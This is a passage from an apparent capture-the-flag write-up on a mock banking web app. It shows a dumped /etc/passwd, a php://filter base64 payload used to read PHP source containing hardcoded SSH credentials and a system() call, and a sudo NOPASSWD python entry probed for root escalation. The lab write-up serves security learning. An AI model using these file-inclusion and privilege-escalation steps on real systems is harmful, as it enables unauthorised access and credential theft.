&lt;span class="n"&gt;proxy&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;13&lt;/span&gt;:&lt;span class="m"&gt;13&lt;/span&gt;:&lt;span class="n"&gt;proxy&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;www&lt;/span&gt;-&lt;span class="n"&gt;data&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;33&lt;/span&gt;:&lt;span class="m"&gt;33&lt;/span&gt;:&lt;span class="n"&gt;www&lt;/span&gt;-&lt;span class="n"&gt;data&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;www&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;backup&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;34&lt;/span&gt;:&lt;span class="m"&gt;34&lt;/span&gt;:&lt;span class="n"&gt;backup&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;backups&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;list&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;38&lt;/span&gt;:&lt;span class="m"&gt;38&lt;/span&gt;:&lt;span class="n"&gt;Mailing&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt; &lt;span class="n"&gt;Manager&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;list&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;irc&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;39&lt;/span&gt;:&lt;span class="m"&gt;39&lt;/span&gt;:&lt;span class="n"&gt;ircd&lt;/span&gt;:/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;run&lt;/span&gt;/&lt;span class="n"&gt;ircd&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;gnats&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;41&lt;/span&gt;:&lt;span class="m"&gt;41&lt;/span&gt;:&lt;span class="n"&gt;Gnats&lt;/span&gt; &lt;span class="n"&gt;Bug&lt;/span&gt;-&lt;span class="n"&gt;Reporting&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt; (&lt;span class="n"&gt;admin&lt;/span&gt;):/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;lib&lt;/span&gt;/&lt;span class="n"&gt;gnats&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;nobody&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;65534&lt;/span&gt;:&lt;span class="m"&gt;65534&lt;/span&gt;:&lt;span class="n"&gt;nobody&lt;/span&gt;:/&lt;span class="n"&gt;nonexistent&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;libuuid&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;100&lt;/span&gt;:&lt;span class="m"&gt;101&lt;/span&gt;::/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;lib&lt;/span&gt;/&lt;span class="n"&gt;libuuid&lt;/span&gt;:
&lt;span class="n"&gt;syslog&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;101&lt;/span&gt;:&lt;span class="m"&gt;104&lt;/span&gt;::/&lt;span class="n"&gt;home&lt;/span&gt;/&lt;span class="n"&gt;syslog&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;messagebus&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;102&lt;/span&gt;:&lt;span class="m"&gt;106&lt;/span&gt;::/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;run&lt;/span&gt;/&lt;span class="n"&gt;dbus&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;landscape&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;103&lt;/span&gt;:&lt;span class="m"&gt;109&lt;/span&gt;::/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;lib&lt;/span&gt;/&lt;span class="n"&gt;landscape&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;sshd&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;104&lt;/span&gt;:&lt;span class="m"&gt;65534&lt;/span&gt;::/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;run&lt;/span&gt;/&lt;span class="n"&gt;sshd&lt;/span&gt;:/&lt;span class="n"&gt;usr&lt;/span&gt;/&lt;span class="n"&gt;sbin&lt;/span&gt;/&lt;span class="n"&gt;nologin&lt;/span&gt;
&lt;span class="n"&gt;cyber&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;1000&lt;/span&gt;:&lt;span class="m"&gt;1000&lt;/span&gt;:&lt;span class="n"&gt;cyber&lt;/span&gt;,,,:/&lt;span class="n"&gt;home&lt;/span&gt;/&lt;span class="n"&gt;cyber&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;span class="n"&gt;mysql&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;107&lt;/span&gt;:&lt;span class="m"&gt;113&lt;/span&gt;:&lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt;,,,:/&lt;span class="n"&gt;nonexistent&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;yash&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;1002&lt;/span&gt;:&lt;span class="m"&gt;1002&lt;/span&gt;:,,,:/&lt;span class="n"&gt;home&lt;/span&gt;/&lt;span class="n"&gt;yash&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking that we got usernames called &lt;code&gt;cyber&lt;/code&gt; and &lt;code&gt;yash&lt;/code&gt;. We can login SSH server using this credentials.&lt;/p&gt;

&lt;p&gt;But first, I couldn't read &lt;code&gt;/acc.php&lt;/code&gt; directly because the server executes PHP files instead of returning their source code. So I used &lt;code&gt;php://filter/convert.base64-encode/resource=&lt;/code&gt; to read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepkzxpbzun1qgjmtpvvs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepkzxpbzun1qgjmtpvvs.png" alt=" " width="800" height="268"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now lets decode it (you can use online decoders just browsing it).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;form&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;black&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;outline&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#4CAF50&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;3px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;180px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;span class="nt"&gt;ul&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;list-style-type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#333&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;left&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#bbb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;li&lt;/span&gt;&lt;span class="nd"&gt;:last-child&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;border-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;white&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;14px&lt;/span&gt; &lt;span class="m"&gt;16px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;text-decoration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="nd"&gt;:hover:not&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;.active&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#111&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.active&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;blue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"dashboard.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Dashboard&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"with.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Withdraw Money&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"depo.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Deposit Money&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"tra.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Transfer Money&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"acc.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;My Account&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"forms.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;command&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"logout.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Logout&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;li&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"float:right"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"contact.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Contact Us&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?php

session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")
{

echo "&amp;lt;h3 style='text-align:center;'&amp;gt;Weclome to Account control panel&amp;lt;/h3&amp;gt;";
echo "&amp;lt;form method='POST'&amp;gt;";
echo "&amp;lt;input type='text' placeholder='Account number' name='acno'&amp;gt;";
echo "&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;";
echo "&amp;lt;input type='text' placeholder='Message' name='msg'&amp;gt;";
echo "&amp;lt;input type='submit' value='Send' name='btn'&amp;gt;";
echo "&amp;lt;/form&amp;gt;";
//MY CREDS :- cyber:super#secure&amp;amp;password!
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "&amp;lt;script&amp;gt;alert('RCE Detected!')&amp;lt;/script&amp;gt;";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "&amp;lt;script&amp;gt;alert('Only Admins can access this page!')&amp;lt;/script&amp;gt;";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we have: &lt;code&gt;//MY CREDS :- cyber:super#secure&amp;amp;password!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now let's try to login using SSH.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tjuajgxpjsnblwn7fhw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tjuajgxpjsnblwn7fhw.png" alt=" " width="800" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After logged in, we have &lt;code&gt;flag1.txt&lt;/code&gt;. Now lets find others. We got also python file called  &lt;code&gt;run.py&lt;/code&gt;. But it requires admin privilege. So let's keep digging.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;drwx------ 3 cyber cyber 4096 Nov 17  2020 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 4 root  root  4096 Nov 16  2020 ..
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 cyber cyber    0 Nov 17  2020 .bash_history
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 cyber cyber  220 Nov  9  2020 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 cyber cyber 3637 Nov  9  2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov  9  2020 .cache
&lt;span class="nt"&gt;-rw--w----&lt;/span&gt; 1 cyber cyber   85 Nov 15  2020 flag1.txt
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 cyber cyber  675 Nov  9  2020 .profile
&lt;span class="nt"&gt;-rwx------&lt;/span&gt; 1 root  root   349 Nov 15  2020 run.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We don't have other interesting files but but &lt;code&gt;run.py&lt;/code&gt;.  Now let's run &lt;code&gt;sudo -l&lt;/code&gt; and check what permissions does Cyber has.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;cyber on ubuntu:
    env_reset, mail_badpass,
    &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin

User cyber may run the following commands on ubuntu:
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/python3 /home/cyber/run.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking the output, if we can edit or change the &lt;code&gt;run.py&lt;/code&gt; file, we can run any python file as &lt;code&gt;root&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cyber@ubuntu:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/cyber/run.py
&lt;span class="nt"&gt;-rwx------&lt;/span&gt; 1 root root 349 Nov 15  2020 /home/cyber/run.py
&lt;/code&gt;&lt;/pre&gt;

